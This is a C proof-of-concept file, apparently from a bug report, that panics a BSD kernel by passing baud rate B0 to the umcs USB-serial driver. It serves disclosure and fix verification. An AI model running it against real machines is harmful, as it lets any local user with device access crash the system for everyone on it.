DF-1048 / trigger.c
/* SPDX-License-Identifier: BSD-2-Clause * DF-1048 PoC: kernel divide-by-zero in umcs7840_calc_baudrate. * * Any local user with write access to /dev/ttyU* or /dev/cuaU* can panic * the kernel with a single tcsetattr using B0 (c_ospeed == 0). * * Build: cc -o trigger trigger.c * Run: ./trigger /dev/cuaU0 # or /dev/ttyU0 * * Prerequisites: * - MCSCHIP MCS7820 or MCS7840 USB-serial adapter attached. * - umcs driver loaded (default for the matching USB VID/PID). * - Caller has rw access to the ttyU/cuaU device node (typically granted * via the operator or dialout group). * * Expected result: * The tcsetattr() never returns; the kernel panics with "Fatal trap 17: * divide-by-zero fault in kernel mode" inside umcs7840_calc_baudrate. */ #include <sys/ioctl.h> #include <termios.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/cuaU0"; int fd = open(dev, O_RDWR | O_NONBLOCK); if (fd < 0) { perror(dev); return 1; } struct termios t; if (tcgetattr(fd, &t) != 0) { perror("tcgetattr"); close(fd); return 1; } /* Set output baud to B0 (c_ospeed == 0). POSIX defines B0 as "hang up * modem lines" — every tty/serial API in the BSDs accepts it. umcs, * however, feeds 0 straight into umcs7840_calc_baudrate which divides * by rate, trapping #DE in kernel mode. */ cfsetospeed(&t, B0); cfsetispeed(&t, B0); fprintf(stderr, "[+] about to tcsetattr(TCSANOW) with B0 on %s\n", dev); fprintf(stderr, "[+] expect kernel panic from umcs7840_calc_baudrate\n"); /* This call does not return. */ int rc = tcsetattr(fd, TCSANOW, &t); if (rc != 0) { perror("tcsetattr"); /* if the kernel rejects B0 via EINVAL, the bug is fixed */ } else { fprintf(stderr, "[?] tcsetattr succeeded — bug appears to be fixed\n"); } close(fd); return 0; } |